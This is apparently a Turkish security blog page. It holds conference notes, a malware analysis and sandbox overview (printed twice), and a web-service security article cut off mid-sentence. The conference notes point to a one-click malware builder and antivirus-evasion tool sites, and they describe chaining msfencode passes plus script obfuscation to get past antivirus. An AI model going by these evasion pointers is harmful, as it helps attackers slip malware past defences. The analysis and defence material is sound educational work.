Huzeyfe nin sunumu
wormy worm auto spreader - bir iki tıklamayla malware hazırlama aracı
bu tool ile exe, zip, dll ,pdf vs formatlarında payload hazırlayabilirsin
http://www.offensivecomputing.net/ - malware sample
http://malc0de.com - malware sample
http://fullyundetected.blogspot.com/ - antivirüsleri atlatmak için gerekli yazılımların güncel olarak bulunduğu blog.
---------------------------------------------------------------------------------------------------------------------------
Antivirüs/Antilogger Atlatma Teknikleri - Ozan Uçar
-encoding
-crypter
-binding
-code injection
http://virusscan.jotti.org/tr - virustotal gibi antivirüslerde verilen örneği tararyıp sonuç üretiyor
msfencode ...... | msfencode ..... | msfencode ..... şeklinde farklı crypter ile encode ederek sonrada bizim sh scripti ile kodu bulanıklaştırarak antivirüs atlatılabilir
----------------------------------------------------------------------------------------------------------------------------
Android Zararlı Yazılım Analizi - Mert Sarıca (IBTECH)
mertsarica.com
önemli güvenlik sertifikaları - CISSP, SSCP, OSCP ...
Android için
SDK - Software Development Kit
NDK - Native Development Kit
android de her uygulama farklı bir Dalvik sanal makinede çalışıyor.
uzaktan kurulum özelliği (google hesabı ele geçirilen kişinin mobiline istenen uygulama yüklenebiliyor.)
dex - android üzerinden çalışan format. Bu formatı dex2jar uygulamasıyla java class a çevirip analiz yapılabiliyor.
java.decompiler.free.fr/?q jdgui - class a çevirdikten sonra bu adresteki java decompiler ile decompile edebilirsin
bazen decompile işlemi tam yapılamıyor bu durumlarda tersine mühendislik gerekiyor. Bunun için apktool kullanılabilir.
Mobile Statik Analiz Araçları
IDA Pro v 6.1 den sonrası mobile destekliyor
APK Inspector
Dexdump
Smali
Androguard
Droidbox - Mobil ortam için malware sandbox. backtrack içine kurabilirsin. emulatörle birlikte test yapabilirsin.
SPYEYE (SPITMO) ve ZEUS (ZITMO) şu an en meşhur mobil malware
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.
Penetration Test, Malware Analysis, Mobile Security, Reverse Engineering, Fuzzing, Web Application Security, Windows Internals, Cracking, Hacking
27 Şubat 2012 Pazartesi
25 Ocak 2012 Çarşamba
Malware Analiz ve Sandbox
Malware Nedir?
Worm,virüs,trojan diye tabir edilen tüm kötü yazılımlar bu terimin içerisinde yer alır. Malware türleri:
Worm:bağımsız bir şekilde kendi başına çalışabilen ve kendisini başka makinelere kopyalabilen yazılımlara verilen ad. Botnetler kurmak için de kullanılır.
Virus: Bağımsız çalışamayan aktif edilmesi gereken ve genellikle işletim sistemi dosyalarına yapışan kod parçacığı
Trojan: Genelde kullanışlı bir yazılımın (crack,tool) içine gömülmüş gizli zararlı kod parçaçcığıdır. Arkaplanda port açma ve dışarıdan erişim sağlama gibi işleri kullanıcıdan habersiz yapar.
Spyware: Casus yazılımlar olarak adlandırılan bu yazılımlar kullanıcı bilgisayarındaki hassas bilgileri(hesap bilgileri,şifreler,kişisel veri) toplayan ve saldırganın bilgisayarına aktaran yazılımlardır.
Bot: Malware bulaşmış bir sistemin uzaktan kontrol edilerek bir botnet in parçası olmasıdır. bu makineler genellikle spam gönderme, cpu gücünü kullanma, Ddos atak yapma gibi işlerde kullanılır.
Rootkit: Saldırı altındaki makine üzerinde yapılan tüm işleri (çalışan süreçler,dosyalar,kayıtlar) işletim sisteminden gizleyen uygulamalardır.
Malware Analiz Teknikleri ve Araçları
Antivirüs programları genel olarak malware lerin siganture larını bir veritabanında tutup buradan bularak tespit ediyorlar. Bu yöntem çoğu zaman başarılı fakat günümüzdeki gelişmiş malware ler bu yöntemle malesef tespit edilemiyor. Bunun nedeni:
1-Bir malware in sürekli olarak evrim geçirmiş farklı versiyonları çıkıyor ve bu durum signature değişmesine neden oluyor.
2-Farklı yöntemlerle (encryption,kod bulanıklaştırma) signature değiştirilebiliyor.
Dinamik analiz,yalıtılmış bir ortamda malware i çalıştırmak ve ortama ait tüm durumları (registry,file system,process status) takip ederek analiz etme tekniğidir.
Statik analiz de ise çalıştırmadan binary kod üzerinden nerelere erişim sağlanıyor ne gibi değişiklikler yapıyor analiz edilmesidir.
Statik analiz
Eğer source code elimizdeyse statik analiz tekniği ile tüm işlevleri test edebiliriz.
Elimizde sadece binary mevcutsa değişkenler ve veri yapıları bilgileri gibi bilgiler kaybolacağından analiz zorlaşacaktır. Hex editorler sayesinde debug yetenekleride kullanılarak ve belirli komut setleri aranarak çalışma yapısı hakkında bilgi sahibi olunabilir.
Dinamik Analiz Teknikleri
1. Function call monitoring
Kötü yazılım çalıştırıldığı sırada eğer bir function call (bu işletim sistemine ait bir user/kernel fonksiyonu olabilir) yapıyorsa bu anda işlemi keserek bazı bilgileri elde edebiliriz. Bu işleme hooking(kanca atma) denir. Hook function, bir log dosyasına bu fonksiyonun adı,input parametreleri gibi bilgileri kaydeder.
İşletim sistemleri önemli işleri(dosya oluşturma,networkde istek yapma,donaım üzerinde kod çalıştırma gibi) üzerinde çalışan uygulamalara direk sunmaz bir API üzerinden sunar.
Windows api leri network,security,system servisleri ve management kategorileri altında toplanmıştır.
Native api ler hakkında official bir dokümantasyon mevcut değildir.
1.1.Function Hooking gerçekleştirimi
Source code mevcut ise kodun içerisine hooking function lar eklenebilir. Alternatif olarak ta compiler flag ler (örn: finstrument functions in GCC) kullanılabilr.
Elimizde sadece binary varsa binary rewriting yöntemi ile binary editlenerek hex editor de function pointer değerleri bizim hook function adresi ile değiştirilip hooking sonunda da gerçek function adresine yönlendirilebilir. Windows ta function call hooking için detours library kullanılabilir.
Bu kütüphane 2 şekilde çalışabiliyor ya kodu çalışmadan önce modifiye ediyor ya da bellek üzerinde değiştirebiliyor. Bellek üzerinde değiştirme işlemine dll injection denmektedir. Kodun kullandığı kütüphaneler stub adı verilen daha sonra aslıyla değiştirlecek geçici kütüphaneler ile değiştirilmektedir.
1.2.Post Processing Function Call Traces
Çağrılan fonksiyonların sonuçlarını izlemeye function call trace denir. Bu trace işleminde çağrılan fonksiyonların sırası mevcuttur.
2. Fonksiyon Parametre Analizi
Statik analizde fonksiyon parametrelerine bakılarak(tiplerine ve değerlerin) mümkün olan parametre değerleri arasından hangisinin olabileceği tahmin edilmeye çalışılır. Dinamik analizde ise fonksiyon çağrısı yapıldığı input olarak verilen tam değeri elde eder.
3. Bilgi Akışını İzleme (Information Flow Tracking)
Program veriyi nasıl işliyor buna bakılır. Debug süresince değişken yada register değerleri işaretlenerek verinin hareketi izlenebilir. Bu izlemenin amacı önemli değişkenleri bulmak veya karmaşıklaştırılımış kodun sadeleştirmesini sağlamak olabilir.
4. Instruction Trace
Bu yöntemde de analist yapan kişi debug edilen kodda bulunan makine kodları (machine instructions) nı incelemeye çalışır. İnceleme sırasında spesifik bir iş yapan makine koduna rastladığında daha yüksek seviyede göremediği önemli bilgiye bu seviyede erişmiş olur.
5. Autostart extensibility points
işletim sistemi açılması sırasında otomatik olarak yüklenen uygulamaların incelenmesi
Malware Bulaşma Yöntemleri
1-Network üzerinden tarama ile makine üzerinde açıklık bulunduruan servislerin exploit edilmesi
2-Web browser açıklığından faydalanarak zararlı kodun web üzerinden download edilmesini sağlama ve makineyi ele geçirme. Browser plugin leri,jscript,vbscript gibi client tarafında çalışan script dilleri saldırganların kullandığı araçlardır.
3-Sosyal mühendislik: farklı çeşitleri olduğu gibi mail ile kandırarak kullanıcıyı dosya açmasını sağlama, bedava yazılım adı altında dosya indirtme genel olarak kullanılan yaygın yöntemlerdir.
Malware SandBox
Kötü yazılımların (virüs,trojan,rootkit,bootkit v.s.) çalıştırılarak(dinamik analiz) , davranışlarını analiz eden ortamlardır.
Bu ortamlar; verilen örnekleri çalıştırarak arka planda dosya sisteminde, registry kayıtlarında, bellekte ne değişiklik yapıyor, ağ üzerinden hangi adresler ve protokollerle konuşuyor, hangi process leri ve api leri çağırıyor gibi başlıklar halinde toplayarak rapor haline getirirler.
Malware SandBox Nasıl Çalışır?
Sandbox ortamını kapalı bir kutu gibi düşünürsek bu kutunun içinde tıpkı bir otomasyona geçmiş araba fabrikası gibi bir akış ve bölümler mevcuttur. Dışarıdan bize görünen kısmı ise sadece malware örneğini bu kutuya vermek ve sonuç raporunu yani arabayı almaktır.
Öncelikle bu kutunun içindeki yapıya bir göz atalım. Sandbox ortamları temelde iki parçadan oluşur .Bunlar;
1- Analizin yapıldığı ve raporun oluşturulduğu ortam. (genelde ubuntu gibi linux türevleri kullanılıyor)
2- Örneğin çalıştırıldığı genelde bir sanallaştırma ortamının (virtualbox,vmware v.s.) üzerindeki lab ortamı. (çoğunlukla windows tercih ediliyor)
Analizin yapıldığı kısımda sanal ortam ile konuşmayı sağlayan uygulama yada scriptler ve raporlamayı sağlayan araçlar dışında başka bir işlem yapılmamaktadır. Sanal lab ortamında ise kötü yazılımın davranışlarını analiz etmek için gerekli network araçları (wireshark,windump,tcpdump,etheral v.s.), dosya sistemi izleme uygulamaları (The Sleuth Kit, ), registry kayıtlarını izleme uygulamaları (process bat, captureBAT,regshot), Process izleme uygulamaları(sysinternals,process hacker,process explorer), Servisleri izleme uygulamaları vebellek inceleme uygulamaları(Volatility Framework,) bulunmaktadır. Bunun dışında özellikle web üzerinden analiz yapan (Anubis,Norman,Comodo) sandbox ürünleri verdiğiniz örneği veritabanlarındaki signature örnekleriyle karşılaştırıp daha önceden tespit edilmiş bir yazılım olup olmadığına da bakarlar. Tüm bu araçların oluşturduğu çıktı sandbox kodu tarafından derlenerek rapor haline getirilir.
Malware Sandbox Ortamları
Aşağıda bilinen malware ortamlarını türlerine göre grupladım.
Web üzerinden servis olarak dosya yükleyip sonucu rapor olarak verenler:
* Norman SandBox (http://www.norman.com/security_center/security_tools/)
* Anubis (http://anubis.iseclab.org)
* GFI Sandbox (http://www.threattrack.com/) (eski CWSandbox)
* ThreatExpert (http://www.threatexpert.com)
* Comodo Camas (http://camas.comodo.com)
* MalBox (http://malbox.xjtu.edu.cn)
* Xandora (http://www.xandora.net/)
Ücretli Olanlar:
* Norman SandBox (http://www.norman.com/products/sandbox_malware_analyzers/en)
* GFI Sandbox (http://www.sunbeltsoftware.com/Malware-Research-Analysis-Tools/Sunbelt-CWSandbox/)
* Joe Sandbox (http://www.joesecurity.org)
Ücretsiz ama kaynak kodu açık olmayanlar:
* Buster's Sandbox Analyzer (http://bsa.isoftware.nl)
Open Source:
* Cuckoo Sandbox (http://www.cuckoobox.org)
* Truman Sandbox (http://www.secureworks.com/research/tools/truman/)
* ZeroWine (http://sourceforge.net/projects/zerowine/)
* ZeroWine Tryouts (http://zerowine-tryout.sourceforge.net/)
* Minibis (http://www.cert.at/downloads/software/minibis_en.html)
* BitBlaze (http://bitblaze.cs.berkeley.edu)
Malware SandBox Karşılaştırması
Kaynakça
• Malware Analyst's Cookbook – Wiley Publishing
• A Survey on Automated Dynamic Malware Analysis Techniques and Tools – Manuel Egele, Theodoor Scholte, Engin Kırda, Christopher Kruegel
• http://en.wikipedia.org/wiki/File:Malware_statics_2011-03-16-en.svg
• http://www.cuckoobox.org/
• http://www.cert.at/downloads/software/minibis_en.html
• http://bitblaze.cs.berkeley.edu/
• http://www.secureworks.com/research/tools/truman/
• http://zerowine.sourceforge.net/
• http://zerowine-tryout.sourceforge.net/
• http://anubis.iseclab.org/
• http://www.threattrack.com/
• http://www.norman.com/
• http://camas.comodo.com
• http://malbox.xjtu.edu.cn
• http://www.xandora.net/
Worm,virüs,trojan diye tabir edilen tüm kötü yazılımlar bu terimin içerisinde yer alır. Malware türleri:
Worm:bağımsız bir şekilde kendi başına çalışabilen ve kendisini başka makinelere kopyalabilen yazılımlara verilen ad. Botnetler kurmak için de kullanılır.
Virus: Bağımsız çalışamayan aktif edilmesi gereken ve genellikle işletim sistemi dosyalarına yapışan kod parçacığı
Trojan: Genelde kullanışlı bir yazılımın (crack,tool) içine gömülmüş gizli zararlı kod parçaçcığıdır. Arkaplanda port açma ve dışarıdan erişim sağlama gibi işleri kullanıcıdan habersiz yapar.
Spyware: Casus yazılımlar olarak adlandırılan bu yazılımlar kullanıcı bilgisayarındaki hassas bilgileri(hesap bilgileri,şifreler,kişisel veri) toplayan ve saldırganın bilgisayarına aktaran yazılımlardır.
Bot: Malware bulaşmış bir sistemin uzaktan kontrol edilerek bir botnet in parçası olmasıdır. bu makineler genellikle spam gönderme, cpu gücünü kullanma, Ddos atak yapma gibi işlerde kullanılır.
Rootkit: Saldırı altındaki makine üzerinde yapılan tüm işleri (çalışan süreçler,dosyalar,kayıtlar) işletim sisteminden gizleyen uygulamalardır.
Malware Analiz Teknikleri ve Araçları
Antivirüs programları genel olarak malware lerin siganture larını bir veritabanında tutup buradan bularak tespit ediyorlar. Bu yöntem çoğu zaman başarılı fakat günümüzdeki gelişmiş malware ler bu yöntemle malesef tespit edilemiyor. Bunun nedeni:
1-Bir malware in sürekli olarak evrim geçirmiş farklı versiyonları çıkıyor ve bu durum signature değişmesine neden oluyor.
2-Farklı yöntemlerle (encryption,kod bulanıklaştırma) signature değiştirilebiliyor.
Dinamik analiz,yalıtılmış bir ortamda malware i çalıştırmak ve ortama ait tüm durumları (registry,file system,process status) takip ederek analiz etme tekniğidir.
Statik analiz de ise çalıştırmadan binary kod üzerinden nerelere erişim sağlanıyor ne gibi değişiklikler yapıyor analiz edilmesidir.
Statik analiz
Eğer source code elimizdeyse statik analiz tekniği ile tüm işlevleri test edebiliriz.
Elimizde sadece binary mevcutsa değişkenler ve veri yapıları bilgileri gibi bilgiler kaybolacağından analiz zorlaşacaktır. Hex editorler sayesinde debug yetenekleride kullanılarak ve belirli komut setleri aranarak çalışma yapısı hakkında bilgi sahibi olunabilir.
Dinamik Analiz Teknikleri
1. Function call monitoring
Kötü yazılım çalıştırıldığı sırada eğer bir function call (bu işletim sistemine ait bir user/kernel fonksiyonu olabilir) yapıyorsa bu anda işlemi keserek bazı bilgileri elde edebiliriz. Bu işleme hooking(kanca atma) denir. Hook function, bir log dosyasına bu fonksiyonun adı,input parametreleri gibi bilgileri kaydeder.
İşletim sistemleri önemli işleri(dosya oluşturma,networkde istek yapma,donaım üzerinde kod çalıştırma gibi) üzerinde çalışan uygulamalara direk sunmaz bir API üzerinden sunar.
Windows api leri network,security,system servisleri ve management kategorileri altında toplanmıştır.
Native api ler hakkında official bir dokümantasyon mevcut değildir.
1.1.Function Hooking gerçekleştirimi
Source code mevcut ise kodun içerisine hooking function lar eklenebilir. Alternatif olarak ta compiler flag ler (örn: finstrument functions in GCC) kullanılabilr.
Elimizde sadece binary varsa binary rewriting yöntemi ile binary editlenerek hex editor de function pointer değerleri bizim hook function adresi ile değiştirilip hooking sonunda da gerçek function adresine yönlendirilebilir. Windows ta function call hooking için detours library kullanılabilir.
Bu kütüphane 2 şekilde çalışabiliyor ya kodu çalışmadan önce modifiye ediyor ya da bellek üzerinde değiştirebiliyor. Bellek üzerinde değiştirme işlemine dll injection denmektedir. Kodun kullandığı kütüphaneler stub adı verilen daha sonra aslıyla değiştirlecek geçici kütüphaneler ile değiştirilmektedir.
1.2.Post Processing Function Call Traces
Çağrılan fonksiyonların sonuçlarını izlemeye function call trace denir. Bu trace işleminde çağrılan fonksiyonların sırası mevcuttur.
2. Fonksiyon Parametre Analizi
Statik analizde fonksiyon parametrelerine bakılarak(tiplerine ve değerlerin) mümkün olan parametre değerleri arasından hangisinin olabileceği tahmin edilmeye çalışılır. Dinamik analizde ise fonksiyon çağrısı yapıldığı input olarak verilen tam değeri elde eder.
3. Bilgi Akışını İzleme (Information Flow Tracking)
Program veriyi nasıl işliyor buna bakılır. Debug süresince değişken yada register değerleri işaretlenerek verinin hareketi izlenebilir. Bu izlemenin amacı önemli değişkenleri bulmak veya karmaşıklaştırılımış kodun sadeleştirmesini sağlamak olabilir.
4. Instruction Trace
Bu yöntemde de analist yapan kişi debug edilen kodda bulunan makine kodları (machine instructions) nı incelemeye çalışır. İnceleme sırasında spesifik bir iş yapan makine koduna rastladığında daha yüksek seviyede göremediği önemli bilgiye bu seviyede erişmiş olur.
5. Autostart extensibility points
işletim sistemi açılması sırasında otomatik olarak yüklenen uygulamaların incelenmesi
Malware Bulaşma Yöntemleri
1-Network üzerinden tarama ile makine üzerinde açıklık bulunduruan servislerin exploit edilmesi
2-Web browser açıklığından faydalanarak zararlı kodun web üzerinden download edilmesini sağlama ve makineyi ele geçirme. Browser plugin leri,jscript,vbscript gibi client tarafında çalışan script dilleri saldırganların kullandığı araçlardır.
3-Sosyal mühendislik: farklı çeşitleri olduğu gibi mail ile kandırarak kullanıcıyı dosya açmasını sağlama, bedava yazılım adı altında dosya indirtme genel olarak kullanılan yaygın yöntemlerdir.
Malware SandBox
Kötü yazılımların (virüs,trojan,rootkit,bootkit v.s.) çalıştırılarak(dinamik analiz) , davranışlarını analiz eden ortamlardır.
Bu ortamlar; verilen örnekleri çalıştırarak arka planda dosya sisteminde, registry kayıtlarında, bellekte ne değişiklik yapıyor, ağ üzerinden hangi adresler ve protokollerle konuşuyor, hangi process leri ve api leri çağırıyor gibi başlıklar halinde toplayarak rapor haline getirirler.
Malware SandBox Nasıl Çalışır?
Sandbox ortamını kapalı bir kutu gibi düşünürsek bu kutunun içinde tıpkı bir otomasyona geçmiş araba fabrikası gibi bir akış ve bölümler mevcuttur. Dışarıdan bize görünen kısmı ise sadece malware örneğini bu kutuya vermek ve sonuç raporunu yani arabayı almaktır.
Öncelikle bu kutunun içindeki yapıya bir göz atalım. Sandbox ortamları temelde iki parçadan oluşur .Bunlar;
1- Analizin yapıldığı ve raporun oluşturulduğu ortam. (genelde ubuntu gibi linux türevleri kullanılıyor)
2- Örneğin çalıştırıldığı genelde bir sanallaştırma ortamının (virtualbox,vmware v.s.) üzerindeki lab ortamı. (çoğunlukla windows tercih ediliyor)
Analizin yapıldığı kısımda sanal ortam ile konuşmayı sağlayan uygulama yada scriptler ve raporlamayı sağlayan araçlar dışında başka bir işlem yapılmamaktadır. Sanal lab ortamında ise kötü yazılımın davranışlarını analiz etmek için gerekli network araçları (wireshark,windump,tcpdump,etheral v.s.), dosya sistemi izleme uygulamaları (The Sleuth Kit, ), registry kayıtlarını izleme uygulamaları (process bat, captureBAT,regshot), Process izleme uygulamaları(sysinternals,process hacker,process explorer), Servisleri izleme uygulamaları vebellek inceleme uygulamaları(Volatility Framework,) bulunmaktadır. Bunun dışında özellikle web üzerinden analiz yapan (Anubis,Norman,Comodo) sandbox ürünleri verdiğiniz örneği veritabanlarındaki signature örnekleriyle karşılaştırıp daha önceden tespit edilmiş bir yazılım olup olmadığına da bakarlar. Tüm bu araçların oluşturduğu çıktı sandbox kodu tarafından derlenerek rapor haline getirilir.
Malware Sandbox Ortamları
Aşağıda bilinen malware ortamlarını türlerine göre grupladım.
Web üzerinden servis olarak dosya yükleyip sonucu rapor olarak verenler:
* Norman SandBox (http://www.norman.com/security_center/security_tools/)
* Anubis (http://anubis.iseclab.org)
* GFI Sandbox (http://www.threattrack.com/) (eski CWSandbox)
* ThreatExpert (http://www.threatexpert.com)
* Comodo Camas (http://camas.comodo.com)
* MalBox (http://malbox.xjtu.edu.cn)
* Xandora (http://www.xandora.net/)
Ücretli Olanlar:
* Norman SandBox (http://www.norman.com/products/sandbox_malware_analyzers/en)
* GFI Sandbox (http://www.sunbeltsoftware.com/Malware-Research-Analysis-Tools/Sunbelt-CWSandbox/)
* Joe Sandbox (http://www.joesecurity.org)
Ücretsiz ama kaynak kodu açık olmayanlar:
* Buster's Sandbox Analyzer (http://bsa.isoftware.nl)
Open Source:
* Cuckoo Sandbox (http://www.cuckoobox.org)
* Truman Sandbox (http://www.secureworks.com/research/tools/truman/)
* ZeroWine (http://sourceforge.net/projects/zerowine/)
* ZeroWine Tryouts (http://zerowine-tryout.sourceforge.net/)
* Minibis (http://www.cert.at/downloads/software/minibis_en.html)
* BitBlaze (http://bitblaze.cs.berkeley.edu)
Malware SandBox Karşılaştırması
Şekil 1 Online Sandbox Karşılaştırması
Şekil 2 Offline Sandbox Karşılaştırması
Şekil 3 Örnek Rapor – Anubis
Kaynakça
• Malware Analyst's Cookbook – Wiley Publishing
• A Survey on Automated Dynamic Malware Analysis Techniques and Tools – Manuel Egele, Theodoor Scholte, Engin Kırda, Christopher Kruegel
• http://en.wikipedia.org/wiki/File:Malware_statics_2011-03-16-en.svg
• http://www.cuckoobox.org/
• http://www.cert.at/downloads/software/minibis_en.html
• http://bitblaze.cs.berkeley.edu/
• http://www.secureworks.com/research/tools/truman/
• http://zerowine.sourceforge.net/
• http://zerowine-tryout.sourceforge.net/
• http://anubis.iseclab.org/
• http://www.threattrack.com/
• http://www.norman.com/
• http://camas.comodo.com
• http://malbox.xjtu.edu.cn
• http://www.xandora.net/
======================================================================
IF YOU LIKE THIS ARTICLE PLEASE CLICK ADVERTISEMENTS
MAKALEYİ BEĞENDİYSENİZ LÜTFEN SİTEDEKİ İLANLARI TIKLAYINIZ.
======================================================================
28 Aralık 2011 Çarşamba
Web Servisi Güvenliği
Günümüz uygulamalarında gittikçe artan bir ihtiyaç da uygulamaların
entegre olması ve verilerin paylaşılmasıdır. Uygulama veya veri tabanı
seviyesinde birçok güvenlik standardı bulunurken bu yeni gelişen entegrasyon
katmanında standartlar ve yaklaşımlar yeni yeni oluşmaya başlamıştır. Bu
makalemde bu konu hakkında bilgi vermek istiyorum. Web servisleri konusunda
dünya genelinde kabul görmüş organizasyonları listeleyecek olursak;
- · OASIS (The Organization for the Advancement of Structured Information Standards)
- · W3C (The World Wide Web Consortium)
- · WS-I (The Web Services Interopability Organization)
- · IETF (The Internet Engineering Task Force)
Bu organizasyonlar ve bu katmanda ürün piyasaya süren
(IBM,Oracle – BEA, Microsoft, Software Ag, v.s.) şirketler tarafından Şekil -1
deki standartlar belirlenerek güvenli bir şekilde entegrasyonun sağlanması amaçlanmaktadır.
Şekil
-1. Web Servis Güvenlik Standartları
Bu standartlar genel olarak WS-Security standartları olarak
adlandırılır. Farklı web servis üreticileri için aralarında paylaşımın güvenli
şekilde sağlanmasında da “WS-Federation”
standartları benimsenmiştir.
Genel olarak Web servi s işleyiş sürecini güvenlik açısından
inceleyecek olursak, şekil-2 de
görüldüğü üzere,
1.
Bir istemci web servisten önce servis bilgileri
isteğinde bulunur. Burada ilk aşama güvenlik olarak servis bilgilerini
bulunduran dosyalara authentication (Basic, Digest, Integrated ve Certificate
Authentication) ile erişimin kısıtlanmasıdır.
2.
Authentication dan sonraki aşama ise
Yetkilendirme (authorization) aşamasıdır. Bu aşamada istemci kendini tanıtmış
gerekli güvenlik onayını geçmiş ve bir istekte bulunmuştur fakat her istemcinin
tüm veriye erişmesi istenmeyen bir durum olduğu için her istemciye ayrı bir
yetki verilmelidir.İşte bu işlem bu adımda gerçekleşmektedir.
3.
İstemcinin yetkilerini sunucu tarafında kontrol
ettikten sonra istemcinin güvenliği ve sunucunun güvenilirliği için mesajın
kime ait olduğunun tespit edilebilmesini sağlayan imzalama (signature) aşamasına
geçilir.bu aşamada geçerli bir sertifika ile mesaj imzalanır ve karşı trafa
gönderilmeye hazır hale getirilir.
4.
Son aşama ise mesaj içeriğinin şifrelenmesi
aşaması olan encryption aşamasıdır. Bu aşamada kullandığınız platformun
desteklediği yeteneklere göre istenilen formatta mesajı
şifreleyebilirsiniz.Yeter ki istemci kullandığınız yöntemi bilsin ve ona göre
şifrelenmiş mesajı çözüp anlamlı hale getirebilsin.
![]() |
Şekil-2. Web Servis İşleyiş Diagramı
|
Neden web servislerinde
güvenliğe dikkat etmeliyiz?
·
Web servisleri, uygulamaların API lerine ve
hedef uygulamalara erişim sağladığından birçok güvenlik açıklıkları
bulunmaktadır.
·
Web servislerinin dağıtık ve uçtan-uca yapısı,
tehdit ve güvenlik açıklıklarının bir uygulamadan başka uygulamalara atlamalarına
neden olabilmektedir.
·
Internet ortamında çok daha fazla kullanıcı, çok
daha fazla bilgi, belge, hacker v.s. dolaşmaktadır.
Mevcut Güvenlik
Çözümleri Web Servisleri Güvenliği İçin Yeterli mi?
SSL Güvenliği
·
Noktadan noktaya güvenlik sağlar, tüm
veriyi şifreler ancak verinin içeriği ile ilgilenmez.
·
Taşıma
seviyesinde kullanıcı doğrulaması yapabilir, mesaj seviyesinde yapamaz.
Network Firewall ları
·
Ağ üzerinden geçen paketlerin kaynak/hedef gibi
temel özelliklerine bakıp, paketin geçip geçmemesine karar verirler.
·
Nereden geldiği, Kimin oluşturduğu, Hedefi, Ne
zaman geldiği gibi ayrıntılara bakmazlar.
Application Firewall lar
·
Paketin içeriğine göre geçip geçmemesine karar
verir.
·
Paketin içeriği uygun mu? paketin içindeki bilgi
ne kadar öncelikli? paketin içeriğinin yapısı doğru mu? Gibi önemli kısımlara
bakmazlar.
İşte eksik kalan bu özellikler için web servislerin temelini
oluşturan XML için donanımsal veya yazılımsal firewall lar tasarlanmıştır. Bu
Firewall lar genel olarak aşağıdaki işlemleri gerçekleştirebilir.
·
Gelen XML dökümanı/mesajı yapısı, kurum
tarafından belirlenen XML şemasına uyup uymadığını kontrol eder.
·
Zararlı kod içerip içermediğini belirli
tekniklere göre kontrol eder.Hatta bazı ürünler gömülü bir antivirüs programı
barındırdırır,
·
Gelen Mesajın Mesaj Seviyesi Güvenliği (MessageLevel
Security) var mı kontrol eder.
·
Alıcının veya göndericinin kimlik doğrulama
işlemleri ve yetkileri (Authentication and Authorization) işlemini gerçekleştirir,
·
İzleme ve kayıt altına alma (Audit and
Accounting) işlemlerini yapabilir,
·
HTTP header, SOAP, ve XML seviyelerinde atakları
bloklar. Attachment dosyaları scan edilir. Zararlı mesajlar bloklanır,
·
Veri tabanından sorgulama yapabilir. Dönen
veriyi XML mesajının içine ve/veya mesaj header’ine enjekte edebilir,
·
Hizmet
seviyesi anlaşmasına (SLA) göre yükü dengeler,
·
Aynı web servis üzerinde Client ’e özel
politikalar tanımlanabilir,
·
Client ‘a özel istek işleme sayısının
sınırlanması yapılabilir,
·
Client’a özel SLA (service-level agreement) tanımlama
ve uyarılar yapılabilir,
·
Bazı servis metotlarını belli client lardan
saklanabilir,
·
Client lar IP adres, SAML özellik, SOAP/transport header ları
bazında tanımlanabilir.
·
Uyarılar windows event log, Unix/Linux syslog,
SNMP, Email gibi farklı kanallara iletilebilir.
·
Web servis erişimlerini gerçek zamanlı izleme ve
raporlama yapma imklanı sağlar.
Şekil-3. Web Servisleri Ortamında Güvenlik Mimarisi
XML Firewall ler Şekil-3 deki gibi ideal bir mimari
ortamında İlk Kontrol noktasında konumlandırılmalıdır.
Web Servislerine Yapılan Saldırı
Türleri
1. WSDL Tarama
Bu saldırı, bir web
servisi tarafından sunulan
WSDL arayüzünü bulmayı sağlar. Saldırgan, web serivisi oluşturmak için kullanılan teknolojiyi
tespit etmek ve ilgili güvenlik açıklarını bulmak için WSDL arayüzü taraması
yapabilir.Genellikle Bu tür saldırılar daha ciddi saldırılar gerçekleştirmek için (örneğin parametre kurcalama(paremeter tempering),
zararlı içerik enjeksiyonu(malicious
content injection), komut enjeksiyonu(command
injection) vb.)
yapılmaktadır. WSDL dosyaları, tüketicilere sunulan hizmetlerin portları ve parametreleri hakkında ayrıntılı bilgi sağlar. Örneğin, saldırgan, özel
karakterler veya kötü niyetli içerik
göndererek serivisin hizmet dışı kalmasına yada önemli bilgilerin veritabanından
çekilmesine neden olabilir. Buna ek olarak, saldırgan WSDL dosyalarında
sağlanan bilgileri kullanarak diğer özel yöntemlerle aynı servis
altında tanımlı gizli metotları tahmin edebilir.
2. DoS Saldırıları
Bilindiği üzere Servis dışı bırakma saldırıları olarak
adlandırılan bu saldırı türü web servisleri içinde tehhlike arz etmektedir.
a.
XML Jumbo Tag İsimleri
XML içerisindeki meta verilerin (element name,attribute name,name space
v.s.) max boyutlarının aşılarak ayırştırıcı tarafından işlenememesi sonucunu
ortaya çıkaran saldırı türüdür.
b.
Coercive Parsing
XML verisi içerisinde “CDATA” alanları ayrıştırıcı (parser) tarafından
ele alınmazlar. Saldırganlar bu alanları kullanarak sistem komutları
gönderebilir.Bu tip saldırılara coercive parsing denmektedir.
c.
XML Döküman Büyüklüğü
XML dosyaları içerisine büyük
boyutlu veri girilmesi sonucu web servis sunucusu bu xml dosyasını işleyemez ve
yeni gelen servis isteklerine cevap veremez hale gelir.
3. Enjeksiyon
Saldırıları
a. SQL Enjeksiyonu
Daha önceden de bildiğimiz bu
saldırı yöntemi web servisler içinde geçerlidir. XML içerisine beklenmeyen sql
cümlecikleri eklenerek ekstra bilgiye erişim sağlayan saldırı yöntemidir.
b. XML Enjeksiyonu
Bu saldırı türünde de sql
cümleciği yerine istenilen bir xml cümleciğini servise aktarmayı hedefler. Bu
saldırı sayesinde mesela sizin bir adet kayıt girme hakkınız var servisde fakat
siz bu yöntemle xml ayrıştırıcıyı da atlatarak birden fazla veri girişi
sağlayabilirsiniz.
4. Zararlı Yazılım,
virüs
Diğer sistemlerde olduğu gibi web servisi sunduğunuz
platformun açıklıklarından faydalanan ve sisteme zarar veren yazılım ve
virüsler bu ortam içinde geliştirilmeye başlanmıştır.
Burada saydığımız saldırılardan korunmak için XML firewall
üzerinde Politika(Policy) tanımlamalıyız. Kısaca çok kullanılan politikaları
inceleyelim.
Politikalar (Policy)
1.
Schema validasyonu
Bir XML dosyanin icerigini
kontrol etmek icin schema dosyalarindan faydalanırız. XML schema dosyasi, XML
dosyasinin iceriginin sahip olmasi gereken kurallari tanimlayan, uzantisi XSD
(XML Schema Definition) olan dosyalardir.
XSD icerisnde bahsedilen kurallar
sunlardir;
·
XML dosyasi icinde var olmasi beklenen element
ve attibute'ler, bunlara ait olan data tipleri.
·
-XML dosyasinin yapisi. Elementler ve bu
elementlere ait olan child element'ler.
·
-Child elementlerin sayisi ve sirasi.
·
Element'lerin bir text degere sahip olup
olmayacagi.
2.
Hata mesajı ekleme
Bilgi sızmaması için özel koşullar
